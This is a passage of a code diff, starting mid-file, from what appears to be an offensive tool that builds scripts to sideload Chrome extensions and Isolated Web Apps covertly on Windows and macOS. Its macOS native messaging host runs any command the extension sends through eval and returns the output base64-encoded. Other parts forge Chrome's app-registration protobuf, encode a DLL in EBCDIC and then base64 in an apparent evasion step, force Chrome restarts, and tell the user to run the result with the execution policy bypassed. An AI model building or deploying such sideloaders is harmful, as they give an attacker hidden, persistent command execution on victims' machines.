|
||||
local extension_path="$1"
|
||||
# This will be replaced by the Python builder
|
||||
echo "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Run main function only if script is executed directly
|
||||
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
|
||||
main "$@"
|
||||
fi
|
||||
+146
@@ -0,0 +1,146 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Chrome Native Messaging Host for macOS - Pure Bash Implementation
|
||||
# Ports the functionality from the .NET NativeAppHost
|
||||
|
||||
# Function to write length as 4-byte little-endian integer
|
||||
write_length() {
|
||||
local length=$1
|
||||
printf "\\$(printf '%03o' $((length & 0xFF)))"
|
||||
printf "\\$(printf '%03o' $(((length >> 8) & 0xFF)))"
|
||||
printf "\\$(printf '%03o' $(((length >> 16) & 0xFF)))"
|
||||
printf "\\$(printf '%03o' $(((length >> 24) & 0xFF)))"
|
||||
}
|
||||
|
||||
# Function to parse JSON message and extract the "message" field
|
||||
parse_json_message() {
|
||||
local json_input="$1"
|
||||
|
||||
# Use osascript to parse JSON (equivalent to C# JSON parsing)
|
||||
# Escape quotes and backslashes for JavaScript string literal
|
||||
local escaped_input="${json_input//\\/\\\\}" # Escape backslashes first
|
||||
escaped_input="${escaped_input//\"/\\\"}" # Then escape quotes
|
||||
|
||||
local message
|
||||
message=$(osascript -l JavaScript -e "
|
||||
const input = \"$escaped_input\";
|
||||
try {
|
||||
const obj = JSON.parse(input);
|
||||
if (obj.message) {
|
||||
console.log(obj.message);
|
||||
} else {
|
||||
console.log('ERROR: No message field found');
|
||||
}
|
||||
} catch (e) {
|
||||
console.log('ERROR: Invalid JSON - ' + e.message);
|
||||
}
|
||||
" 2>&1)
|
||||
|
||||
echo "$message"
|
||||
}
|
||||
|
||||
# Function to execute command and return output
|
||||
execute_command() {
|
||||
local message="$1"
|
||||
|
||||
# Check if message contains pipe separator (like C# code)
|
||||
if [[ "$message" != *"|"* ]]; then
|
||||
echo "Message \"$message\" was not correctly formatted"
|
||||
return
|
||||
fi
|
||||
|
||||
# Split command and arguments on first pipe (like C# Split('|'))
|
||||
local command="${message%%|*}"
|
||||
local args="${message#*|}"
|
||||
|
||||
# Execute command with arguments and capture output
|
||||
local output
|
||||
if command -v "$command" >/dev/null 2>&1; then
|
||||
# Execute command and capture both stdout and stderr
|
||||
output=$(eval "$command $args" 2>&1)
|
||||
else
|
||||
output="An Error happened: Command '$command' not found"
|
||||
fi
|
||||
|
||||
echo "$output"
|
||||
}
|
||||
|
||||
# Function to encode output and send response
|
||||
send_response() {
|
||||
local output="$1"
|
||||
|
||||
# Base64 encode the output (like C# Convert.ToBase64String)
|
||||
local encoded_data
|
||||
encoded_data=$(printf '%s' "$output" | base64)
|
||||
|
||||
# Create JSON response (like C# string.Format)
|
||||
local response="{\"data\":\"$encoded_data\"}"
|
||||
|
||||
# Calculate length
|
||||
local length=${#response}
|
||||
|
||||
# Write 4-byte length prefix + response
|
||||
write_length "$length"
|
||||
printf '%s' "$response"
|
||||
}
|
||||
|
||||
# Main - Process SINGLE message and exit
|
||||
main() {
|
||||
# Read message length (4 bytes, little-endian)
|
||||
local bytes
|
||||
bytes=$(dd bs=4 count=1 2>/dev/null | od -An -tu1)
|
||||
|
||||
# Check if we got any data
|
||||
if [ -z "$bytes" ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Parse the 4 bytes from od output
|
||||
set -- $bytes
|
||||
local byte1=${1:-0}
|
||||
local byte2=${2:-0}
|
||||
local byte3=${3:-0}
|
||||
local byte4=${4:-0}
|
||||
|
||||
# Convert little-endian to integer
|
||||
local message_length=$(( byte1 + (byte2 << 8) + (byte3 << 16) + (byte4 << 24) ))
|
||||
|
||||
# Check for invalid length
|
||||
if [ "$message_length" -le 0 ] || [ "$message_length" -gt 1048576 ]; then
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Read the actual message
|
||||
local raw_message
|
||||
raw_message=$(dd bs="$message_length" count=1 2>/dev/null)
|
||||
|
||||
if [ -z "$raw_message" ]; then
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Parse JSON to extract the message field
|
||||
local parsed_message
|
||||
parsed_message=$(parse_json_message "$raw_message")
|
||||
|
||||
if [[ "$parsed_message" == ERROR:* ]]; then
|
||||
send_response "$parsed_message"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Execute the command and get output
|
||||
local command_output
|
||||
command_output=$(execute_command "$parsed_message")
|
||||
|
||||
# Send response back
|
||||
send_response "$command_output"
|
||||
|
||||
# IMPORTANT: Exit immediately after sending response
|
||||
exit 0
|
||||
}
|
||||
|
||||
# Trap signals to ensure clean exit
|
||||
trap 'exit 0' SIGTERM SIGINT SIGHUP
|
||||
|
||||
# Run main function and ensure exit
|
||||
main
|
||||
exit 0
|
||||
@@ -0,0 +1,97 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
macOS Chrome Extension Sideloader Builder
|
||||
|
||||
This module provides macOS-specific functionality for building Chrome extension
|
||||
sideloaders using Bash scripts.
|
||||
"""
|
||||
|
||||
import os
|
||||
import stat
|
||||
from pathlib import Path
|
||||
from base_extension_builder import BaseExtensionBuilder
|
||||
|
||||
|
||||
class MacOSExtensionBuilder(BaseExtensionBuilder):
|
||||
"""macOS-specific extension sideloader builder using Bash."""
|
||||
|
||||
def get_script_extension(self):
|
||||
"""Return the Bash script extension."""
|
||||
return ".sh"
|
||||
|
||||
def create_extraction_functions(self, extension_base64):
|
||||
"""Create Bash extraction functions."""
|
||||
|
||||
extract_extension_func = f'''
|
||||
extract_embedded_extension() {{
|
||||
local extension_path="$1"
|
||||
|
||||
echo "Extracting embedded extension to: $extension_path"
|
||||
|
||||
# Create directory if it doesn't exist, or clear existing content
|
||||
if [[ -d "$extension_path" ]]; then
|
||||
echo "Clearing existing extension directory..."
|
||||
rm -rf "$extension_path"
|
||||
fi
|
||||
mkdir -p "$extension_path"
|
||||
|
||||
# Decode and extract the embedded extension
|
||||
local extension_zip_base64="{extension_base64}"
|
||||
|
||||
# Create temporary file for ZIP data
|
||||
local temp_zip_path=$(mktemp)
|
||||
|
||||
# Decode base64 to temporary file
|
||||
echo "$extension_zip_base64" | base64 -d > "$temp_zip_path"
|
||||
|
||||
# Extract ZIP contents
|
||||
if command -v unzip >/dev/null 2>&1; then
|
||||
unzip -q "$temp_zip_path" -d "$extension_path"
|
||||
echo "Extension extracted successfully"
|
||||
else
|
||||
echo "Error: unzip command not found. Please install unzip utility."
|
||||
rm -f "$temp_zip_path"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Clean up temp file
|
||||
rm -f "$temp_zip_path"
|
||||
}}
|
||||
'''
|
||||
|
||||
return extract_extension_func
|
||||
|
||||
def read_template_script(self):
|
||||
"""Read the JXA Bash template script."""
|
||||
script_path = Path(__file__).parent / "macos" / "ChromeExtensionSideloader.sh"
|
||||
with open(script_path, 'r', encoding='utf-8') as f:
|
||||
return f.read()
|
||||
|
||||
def build_script_content(self, template_script, extraction_functions, extension_base64):
|
||||
"""Build the complete Bash script content."""
|
||||
|
||||
# Replace placeholder functions in template
|
||||
script_content = template_script.replace(
|
||||
'# These functions will be replaced by the Python builder with actual extraction logic\n'
|
||||
'extract_embedded_extension() {\n'
|
||||
' local extension_path="$1"\n'
|
||||
' # This will be replaced by the Python builder\n'
|
||||
' echo "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"\n'
|
||||
' exit 1\n'
|
||||
'}',
|
||||
extraction_functions
|
||||
)
|
||||
|
||||
# Set default parameters
|
||||
script_content = script_content.replace(
|
||||
'EXTENSION_INSTALL_DIR="$HOME/Library/Application Support/Google/Chrome/Default/Extensions/myextension"',
|
||||
f'EXTENSION_INSTALL_DIR="{self.install_path}"'
|
||||
)
|
||||
|
||||
return script_content
|
||||
|
||||
def make_executable(self, file_path):
|
||||
"""Make the Bash script executable."""
|
||||
# Add execute permissions for owner, group, and others
|
||||
current_permissions = os.stat(file_path).st_mode
|
||||
os.chmod(file_path, current_permissions | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
|
||||
@@ -4,7 +4,7 @@ param(
|
||||
[string]$ExtensionInstallDir = "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\myextension",
|
||||
[string]$ExtensionDescription = "Chrome Extension",
|
||||
[string]$InstallNativeMessagingHost = "false",
|
||||
[string]$ForceRestartChrome = "false"
|
||||
[string]$ForceRestartChrome = "true"
|
||||
)
|
||||
|
||||
# ChromePathHelper functions
|
||||
|
||||
@@ -1,199 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
r"""
|
||||
Chrome Extension Sideloader Builder
|
||||
|
||||
This script creates a self-contained PowerShell script that embeds extension content
|
||||
and optionally a native messaging host, then deploys them to the specified location.
|
||||
|
||||
Usage:
|
||||
python build_sideloader.py <extension_folder> <install_path>
|
||||
|
||||
Example:
|
||||
python build_sideloader.py ./myextension "%LOCALAPPDATA%\Google\com.chrome.alone"
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import zipfile
|
||||
import base64
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
def zip_folder(folder_path):
|
||||
"""Create a ZIP file from a folder and return it as bytes."""
|
||||
folder_path = Path(folder_path)
|
||||
if not folder_path.exists() or not folder_path.is_dir():
|
||||
raise ValueError(f"Extension folder does not exist: {folder_path}")
|
||||
|
||||
zip_data = BytesIO()
|
||||
|
||||
with zipfile.ZipFile(zip_data, 'w', zipfile.ZIP_DEFLATED) as zipf:
|
||||
for root, dirs, files in os.walk(folder_path):
|
||||
for file in files:
|
||||
file_path = Path(root) / file
|
||||
arc_name = file_path.relative_to(folder_path)
|
||||
zipf.write(file_path, arc_name)
|
||||
|
||||
return zip_data.getvalue()
|
||||
|
||||
|
||||
def read_file_as_base64(file_path):
|
||||
"""Read a file and return its base64 encoded content."""
|
||||
file_path = Path(file_path)
|
||||
if not file_path.exists():
|
||||
raise ValueError(f"File does not exist: {file_path}")
|
||||
|
||||
with open(file_path, 'rb') as f:
|
||||
content = f.read()
|
||||
|
||||
return base64.b64encode(content).decode('utf-8')
|
||||
|
||||
|
||||
def create_extraction_functions(extension_base64):
|
||||
"""Create the PowerShell extraction functions."""
|
||||
|
||||
extract_extension_func = f'''
|
||||
function Extract-EmbeddedExtension {{
|
||||
param([string]$ExtensionPath)
|
||||
|
||||
Write-Host "Extracting embedded extension to: $ExtensionPath" -ForegroundColor Cyan
|
||||
|
||||
# Create directory if it doesn't exist, or clear existing content
|
||||
if (Test-Path $ExtensionPath) {{
|
||||
Write-Host "Clearing existing extension directory..." -ForegroundColor Yellow
|
||||
Remove-Item $ExtensionPath -Recurse -Force
|
||||
}}
|
||||
New-Item -ItemType Directory -Path $ExtensionPath -Force | Out-Null
|
||||
|
||||
# Decode and extract the embedded extension
|
||||
$extensionZipBase64 = "{extension_base64}"
|
||||
$extensionZipBytes = [System.Convert]::FromBase64String($extensionZipBase64)
|
||||
|
||||
# Create temporary ZIP file
|
||||
$tempZipPath = [System.IO.Path]::GetTempFileName()
|
||||
[System.IO.File]::WriteAllBytes($tempZipPath, $extensionZipBytes)
|
||||
|
||||
try {{
|
||||
# Extract ZIP contents
|
||||
Add-Type -AssemblyName System.IO.Compression.FileSystem
|
||||
[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $ExtensionPath)
|
||||
Write-Host "Extension extracted successfully" -ForegroundColor Green
|
||||
}}
|
||||
finally {{
|
||||
# Clean up temp file
|
||||
if (Test-Path $tempZipPath) {{
|
||||
Remove-Item $tempZipPath -Force
|
||||
}}
|
||||
}}
|
||||
}}
|
||||
'''
|
||||
|
||||
return extract_extension_func
|
||||
|
||||
|
||||
def read_template_script():
|
||||
"""Read the template PowerShell script."""
|
||||
script_path = Path(__file__).parent / "ChromeExtensionSideloader.ps1"
|
||||
with open(script_path, 'r', encoding='utf-8') as f:
|
||||
return f.read()
|
||||
|
||||
|
||||
def build_sideloader_script(extension_folder, install_path, output_path=None):
|
||||
"""Build the complete sideloader script."""
|
||||
|
||||
print(f"Building sideloader script...")
|
||||
print(f" Extension folder: {extension_folder}")
|
||||
print(f" Install path: {install_path}")
|
||||
|
||||
# Create ZIP of extension folder
|
||||
print("Creating extension ZIP...")
|
||||
extension_zip_bytes = zip_folder(extension_folder)
|
||||
extension_base64 = base64.b64encode(extension_zip_bytes).decode('utf-8')
|
||||
|
||||
# Read template script
|
||||
print("Reading template script...")
|
||||
template_script = read_template_script()
|
||||
|
||||
# Create extraction functions
|
||||
print("Creating extraction functions...")
|
||||
extraction_functions = create_extraction_functions(extension_base64)
|
||||
|
||||
# Replace placeholder functions in template
|
||||
script_content = template_script.replace(
|
||||
'# These functions will be replaced by the Python builder with actual extraction logic\n'
|
||||
'function Extract-EmbeddedExtension {\n'
|
||||
' param([string]$ExtensionPath)\n'
|
||||
' # This will be replaced by the Python builder\n'
|
||||
' throw "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"\n'
|
||||
'}\n\n',
|
||||
extraction_functions
|
||||
)
|
||||
|
||||
# Set default parameters
|
||||
script_content = script_content.replace(
|
||||
'[string]$ExtensionInstallDir = "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Extensions\\myextension"',
|
||||
f'[string]$ExtensionInstallDir = "{install_path}"'
|
||||
)
|
||||
|
||||
# Write output
|
||||
if output_path:
|
||||
output_file = Path(output_path)
|
||||
else:
|
||||
extension_name = Path(extension_folder).name
|
||||
output_file = Path(f"{extension_name}_sideloader.ps1")
|
||||
|
||||
print(f"Writing output to: {output_file}")
|
||||
with open(output_file, 'w', encoding='utf-8') as f:
|
||||
f.write(script_content)
|
||||
|
||||
print(f"✅ Sideloader script created successfully: {output_file}")
|
||||
print(f"📦 Extension size: {len(extension_zip_bytes):,} bytes")
|
||||
|
||||
return output_file
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Build a Chrome Extension Sideloader PowerShell script",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog=__doc__
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"extension_folder",
|
||||
help="Path to the extension folder to deploy"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"install_path",
|
||||
help="Installation path for the extension (can include environment variables like %%LOCALAPPDATA%%)"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-o", "--output",
|
||||
help="Output file path (default: <extension_name>_sideloader.ps1)"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
output_file = build_sideloader_script(
|
||||
args.extension_folder,
|
||||
args.install_path,
|
||||
args.output
|
||||
)
|
||||
|
||||
print(f"\n🎉 Build completed successfully!")
|
||||
print(f"📄 Generated: {output_file}")
|
||||
print(f"\nTo deploy the extension, run:")
|
||||
print(f" powershell -ExecutionPolicy Bypass -File {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"❌ Error: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,87 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Windows Chrome Extension Sideloader Builder
|
||||
|
||||
This module provides Windows-specific functionality for building Chrome extension
|
||||
sideloaders using PowerShell scripts.
|
||||
"""
|
||||
|
||||
from pathlib import Path
|
||||
from base_extension_builder import BaseExtensionBuilder
|
||||
|
||||
|
||||
class WindowsExtensionBuilder(BaseExtensionBuilder):
|
||||
"""Windows-specific extension sideloader builder using PowerShell."""
|
||||
|
||||
def get_script_extension(self):
|
||||
"""Return the PowerShell script extension."""
|
||||
return ".ps1"
|
||||
|
||||
def create_extraction_functions(self, extension_base64):
|
||||
"""Create PowerShell extraction functions."""
|
||||
|
||||
extract_extension_func = f'''
|
||||
function Extract-EmbeddedExtension {{
|
||||
param([string]$ExtensionPath)
|
||||
|
||||
Write-Host "Extracting embedded extension to: $ExtensionPath" -ForegroundColor Cyan
|
||||
|
||||
# Create directory if it doesn't exist, or clear existing content
|
||||
if (Test-Path $ExtensionPath) {{
|
||||
Write-Host "Clearing existing extension directory..." -ForegroundColor Yellow
|
||||
Remove-Item $ExtensionPath -Recurse -Force
|
||||
}}
|
||||
New-Item -ItemType Directory -Path $ExtensionPath -Force | Out-Null
|
||||
|
||||
# Decode and extract the embedded extension
|
||||
$extensionZipBase64 = "{extension_base64}"
|
||||
$extensionZipBytes = [System.Convert]::FromBase64String($extensionZipBase64)
|
||||
|
||||
# Create temporary ZIP file
|
||||
$tempZipPath = [System.IO.Path]::GetTempFileName()
|
||||
[System.IO.File]::WriteAllBytes($tempZipPath, $extensionZipBytes)
|
||||
|
||||
try {{
|
||||
# Extract ZIP contents
|
||||
Add-Type -AssemblyName System.IO.Compression.FileSystem
|
||||
[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $ExtensionPath)
|
||||
Write-Host "Extension extracted successfully" -ForegroundColor Green
|
||||
}}
|
||||
finally {{
|
||||
# Clean up temp file
|
||||
if (Test-Path $tempZipPath) {{
|
||||
Remove-Item $tempZipPath -Force
|
||||
}}
|
||||
}}
|
||||
}}
|
||||
'''
|
||||
|
||||
return extract_extension_func
|
||||
|
||||
def read_template_script(self):
|
||||
"""Read the PowerShell template script."""
|
||||
script_path = Path(__file__).parent / "powershell" / "ChromeExtensionSideloader.ps1"
|
||||
with open(script_path, 'r', encoding='utf-8') as f:
|
||||
return f.read()
|
||||
|
||||
def build_script_content(self, template_script, extraction_functions, extension_base64):
|
||||
"""Build the complete PowerShell script content."""
|
||||
|
||||
# Replace placeholder functions in template
|
||||
script_content = template_script.replace(
|
||||
'# These functions will be replaced by the Python builder with actual extraction logic\n'
|
||||
'function Extract-EmbeddedExtension {\n'
|
||||
' param([string]$ExtensionPath)\n'
|
||||
' # This will be replaced by the Python builder\n'
|
||||
' throw "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"\n'
|
||||
'}\n\n',
|
||||
extraction_functions
|
||||
)
|
||||
|
||||
# Set default parameters
|
||||
script_content = script_content.replace(
|
||||
'[string]$ExtensionInstallDir = "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Extensions\\myextension"',
|
||||
f'[string]$ExtensionInstallDir = "{self.install_path}"'
|
||||
)
|
||||
|
||||
return script_content
|
||||
@@ -0,0 +1,128 @@
|
||||
import os
|
||||
import base64
|
||||
import uuid
|
||||
from abc import ABC, abstractmethod
|
||||
from reference.bundleParser import parse_signed_web_bundle_header, extract_manifest_from_bundle
|
||||
from reference.getAppId import create_web_bundle_id_from_public_key, get_chrome_app_id
|
||||
from reference.protobufUpdater import parse_protobuf, update_with_origin
|
||||
import binascii
|
||||
import random
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
class BaseSideloader(ABC):
|
||||
"""Base class for platform-specific sideloaders."""
|
||||
|
||||
def __init__(self, bundle_path, app_name="DOORKNOB"):
|
||||
self.bundle_path = bundle_path
|
||||
self.app_name = app_name
|
||||
self.bundle_data = None
|
||||
self.protobuf_hex = None
|
||||
self.app_id = None
|
||||
self.iwa_folder_name = None
|
||||
self.iwa_tab_url = None
|
||||
|
||||
# Load bundle data and generate required values
|
||||
self._load_bundle_data()
|
||||
self._generate_protobuf_data()
|
||||
|
||||
def _load_bundle_data(self):
|
||||
"""Load and base64 encode the bundle file."""
|
||||
with open(self.bundle_path, 'rb') as f:
|
||||
self.bundle_data = base64.b64encode(f.read()).decode('ascii')
|
||||
|
||||
def _generate_protobuf_data(self):
|
||||
"""Generate protobuf data using information from manifest and bundle."""
|
||||
# Read manifest from bundle
|
||||
manifest = extract_manifest_from_bundle(self.bundle_path)
|
||||
app_name = manifest['name']
|
||||
version = manifest['version']
|
||||
|
||||
# Parse bundle to get signature and public key
|
||||
bundle_info = parse_signed_web_bundle_header(self.bundle_path)
|
||||
public_key = bundle_info['public_key']
|
||||
signature_info = bundle_info['signature']
|
||||
|
||||
# Generate IDs from public key
|
||||
web_bundle_id = create_web_bundle_id_from_public_key(base64.b64decode(public_key))
|
||||
origin = f"isolated-app://{web_bundle_id}"
|
||||
self.iwa_tab_url = origin
|
||||
self.app_id = get_chrome_app_id(public_key)
|
||||
|
||||
# Generate other required values
|
||||
install_time = int(datetime.now().timestamp())
|
||||
self.iwa_folder_name = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
|
||||
|
||||
# Print information
|
||||
print("Generated values:")
|
||||
print(f"APP_NAME: {app_name}")
|
||||
print(f"VERSION: {version}")
|
||||
print(f"ORIGIN: {origin}")
|
||||
print(f"APP_ID: {self.app_id}")
|
||||
print(f"PUBLIC_KEY: {public_key}")
|
||||
print(f"SIGNATURE_INFO: {signature_info}")
|
||||
print(f"IWA_FOLDER_NAME: {self.iwa_folder_name}")
|
||||
print(f"IWA_ORIGIN: {self.iwa_tab_url}")
|
||||
|
||||
# Read template protobuf
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
template_path = os.path.join(script_dir, "reference", "app.pb")
|
||||
with open(template_path, 'rb') as f:
|
||||
template_data = f.read()
|
||||
|
||||
# Parse and update protobuf
|
||||
message = parse_protobuf(template_data)
|
||||
|
||||
# Convert string values to bytes for length-delimited fields
|
||||
def to_bytes(s: str) -> bytes:
|
||||
return s.encode('utf-8')
|
||||
|
||||
# Track jitter count for field 59.1.3.2
|
||||
jitter_count = 0
|
||||
def add_jitter(base_time: int, _) -> int:
|
||||
nonlocal jitter_count
|
||||
jitter_count += 1
|
||||
return base_time + jitter_count + random.randint(5, 10)
|
||||
|
||||
# Perform field updates
|
||||
updates = [
|
||||
([1, 1], to_bytes(f"{origin}/")),
|
||||
([1, 2], to_bytes(app_name)),
|
||||
([1, 5], to_bytes(f"{origin}/")),
|
||||
([1, 6, 2], origin, update_with_origin),
|
||||
([2], to_bytes(app_name)),
|
||||
([6], to_bytes(f"{origin}/")),
|
||||
([10, 2], origin, update_with_origin),
|
||||
([16], install_time),
|
||||
([30], origin, update_with_origin),
|
||||
([49, 2], to_bytes(origin)),
|
||||
([59, 1, 3, 2], install_time, add_jitter),
|
||||
([59, 1, 1], to_bytes(app_name)),
|
||||
([59, 5, 2], to_bytes(app_name)),
|
||||
([60, 1, 1], to_bytes(self.iwa_folder_name)),
|
||||
([60, 6], to_bytes(version)),
|
||||
([60, 7, 1, 1, 1], to_bytes(public_key)),
|
||||
([60, 7, 1, 1, 2], to_bytes(signature_info)),
|
||||
([64], install_time),
|
||||
]
|
||||
|
||||
for field_path, value, *transform in updates:
|
||||
message.update_field(field_path, value, transform[0] if transform else None)
|
||||
|
||||
# Serialize
|
||||
serialized = message.serialize()
|
||||
self.protobuf_hex = binascii.hexlify(serialized).decode('ascii')
|
||||
|
||||
@abstractmethod
|
||||
def get_platform_config(self):
|
||||
"""Return platform-specific configuration."""
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def generate_script(self, output_path):
|
||||
"""Generate the platform-specific sideloader script."""
|
||||
pass
|
||||
|
||||
def generate_guid(self):
|
||||
"""Generate a GUID for desktop/session naming."""
|
||||
return str(uuid.uuid4())
|
||||
@@ -1,322 +1,37 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
IWA Sideloader Script Generator
|
||||
|
||||
This script generates platform-specific sideloader scripts for Isolated Web Apps (IWAs).
|
||||
It supports both Windows (PowerShell) and macOS (bash) platforms.
|
||||
|
||||
The script has been refactored into a modular architecture:
|
||||
- base_sideloader.py: Common functionality and abstract base class
|
||||
- windows_sideloader.py: Windows-specific PowerShell script generation
|
||||
- macos_sideloader.py: macOS-specific bash script generation
|
||||
|
||||
Usage:
|
||||
python3 createSideloader.py bundle.swbn --platform windows
|
||||
python3 createSideloader.py bundle.swbn --platform macos
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import base64
|
||||
import argparse
|
||||
import re
|
||||
from datetime import datetime
|
||||
import random
|
||||
import uuid
|
||||
from reference.bundleParser import parse_signed_web_bundle_header, extract_manifest_from_bundle
|
||||
from reference.getAppId import create_web_bundle_id_from_public_key, get_chrome_app_id
|
||||
from reference.protobufUpdater import parse_protobuf, update_with_origin
|
||||
import binascii
|
||||
from windows_sideloader import WindowsSideloader
|
||||
from macos_sideloader import MacOSSideloader
|
||||
|
||||
IWA_APP_NAME = "DOORKNOB"
|
||||
|
||||
def generate_protobuf(bundle_path):
|
||||
"""Generate protobuf data using information from manifest and bundle."""
|
||||
# Read manifest from bundle
|
||||
manifest = extract_manifest_from_bundle(bundle_path)
|
||||
APP_NAME = manifest['name']
|
||||
VERSION = manifest['version']
|
||||
|
||||
# Parse bundle to get signature and public key
|
||||
bundle_info = parse_signed_web_bundle_header(bundle_path)
|
||||
PUBLIC_KEY = bundle_info['public_key']
|
||||
SIGNATURE_INFO = bundle_info['signature']
|
||||
|
||||
# Generate IDs from public key
|
||||
web_bundle_id = create_web_bundle_id_from_public_key(base64.b64decode(PUBLIC_KEY))
|
||||
ORIGIN = f"isolated-app://{web_bundle_id}"
|
||||
APP_ID = get_chrome_app_id(PUBLIC_KEY)
|
||||
|
||||
# Generate other required values
|
||||
INSTALL_TIME = int(datetime.now().timestamp())
|
||||
IWA_FOLDER_NAME = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
|
||||
|
||||
# Print information
|
||||
print("Generated values:")
|
||||
print(f"APP_NAME: {APP_NAME}")
|
||||
print(f"VERSION: {VERSION}")
|
||||
print(f"ORIGIN: {ORIGIN}")
|
||||
print(f"APP_ID: {APP_ID}")
|
||||
print(f"PUBLIC_KEY: {PUBLIC_KEY}")
|
||||
print(f"SIGNATURE_INFO: {SIGNATURE_INFO}")
|
||||
print(f"IWA_FOLDER_NAME: {IWA_FOLDER_NAME}")
|
||||
|
||||
# Read template protobuf
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
template_path = os.path.join(script_dir, "reference", "app.pb")
|
||||
with open(template_path, 'rb') as f:
|
||||
template_data = f.read()
|
||||
|
||||
# Parse and update protobuf
|
||||
message = parse_protobuf(template_data)
|
||||
|
||||
# Convert string values to bytes for length-delimited fields
|
||||
def to_bytes(s: str) -> bytes:
|
||||
return s.encode('utf-8')
|
||||
|
||||
# Track jitter count for field 59.1.3.2
|
||||
jitter_count = 0
|
||||
def add_jitter(base_time: int, _) -> int:
|
||||
nonlocal jitter_count
|
||||
jitter_count += 1
|
||||
return base_time + jitter_count + random.randint(5, 10)
|
||||
|
||||
# Perform field updates
|
||||
updates = [
|
||||
([1, 1], to_bytes(f"{ORIGIN}/")),
|
||||
([1, 2], to_bytes(APP_NAME)),
|
||||
([1, 5], to_bytes(f"{ORIGIN}/")),
|
||||
([1, 6, 2], ORIGIN, update_with_origin),
|
||||
([2], to_bytes(APP_NAME)),
|
||||
([6], to_bytes(f"{ORIGIN}/")),
|
||||
([10, 2], ORIGIN, update_with_origin),
|
||||
([16], INSTALL_TIME),
|
||||
([30], ORIGIN, update_with_origin),
|
||||
([49, 2], to_bytes(ORIGIN)),
|
||||
([59, 1, 3, 2], INSTALL_TIME, add_jitter),
|
||||
([59, 1, 1], to_bytes(APP_NAME)),
|
||||
([59, 5, 2], to_bytes(APP_NAME)),
|
||||
([60, 1, 1], to_bytes(IWA_FOLDER_NAME)),
|
||||
([60, 6], to_bytes(VERSION)),
|
||||
([60, 7, 1, 1, 1], to_bytes(PUBLIC_KEY)),
|
||||
([60, 7, 1, 1, 2], to_bytes(SIGNATURE_INFO)),
|
||||
([64], INSTALL_TIME),
|
||||
]
|
||||
|
||||
for field_path, value, *transform in updates:
|
||||
message.update_field(field_path, value, transform[0] if transform else None)
|
||||
|
||||
# Serialize
|
||||
serialized = message.serialize()
|
||||
hex_output = binascii.hexlify(serialized).decode('ascii')
|
||||
|
||||
return hex_output, APP_ID, IWA_FOLDER_NAME
|
||||
|
||||
def encode_dll_to_ebcdic_base64(file_path):
|
||||
"""
|
||||
Reads a DLL file, encodes it using EBCDIC encoding, then base64 encodes it.
|
||||
|
||||
Args:
|
||||
file_path: Path to the DLL file
|
||||
|
||||
Returns:
|
||||
Base64 encoded string of the EBCDIC encoded DLL
|
||||
"""
|
||||
try:
|
||||
# Check if file exists
|
||||
if not os.path.exists(file_path):
|
||||
print(f"Error: File not found at {file_path}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
# Read the binary content of the DLL
|
||||
with open(file_path, 'rb') as file:
|
||||
dll_bytes = file.read()
|
||||
|
||||
# Convert binary to EBCDIC encoding
|
||||
# Using cp037 which is the Python codec for EBCDIC (US/Canada)
|
||||
ebcdic_encoded = dll_bytes.decode('latin-1').encode('cp037')
|
||||
|
||||
# Base64 encode the EBCDIC encoded bytes
|
||||
base64_encoded = base64.b64encode(ebcdic_encoded).decode('ascii')
|
||||
|
||||
return base64_encoded
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error: {str(e)}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
def generate_powershell_script(bundle_path, output_path, app_name=None):
|
||||
"""Generate the PowerShell sideloader script."""
|
||||
# Use provided app_name if available, otherwise use default
|
||||
global IWA_APP_NAME
|
||||
if app_name:
|
||||
IWA_APP_NAME = app_name
|
||||
print(f"Using custom app name: {IWA_APP_NAME}")
|
||||
|
||||
# Read the bundle file as base64
|
||||
with open(bundle_path, 'rb') as f:
|
||||
bundle_data = base64.b64encode(f.read()).decode('ascii')
|
||||
|
||||
# Generate protobuf and get required values
|
||||
protobuf_hex, app_id, iwa_folder_name = generate_protobuf(bundle_path)
|
||||
|
||||
# Generate a GUID for the desktop name
|
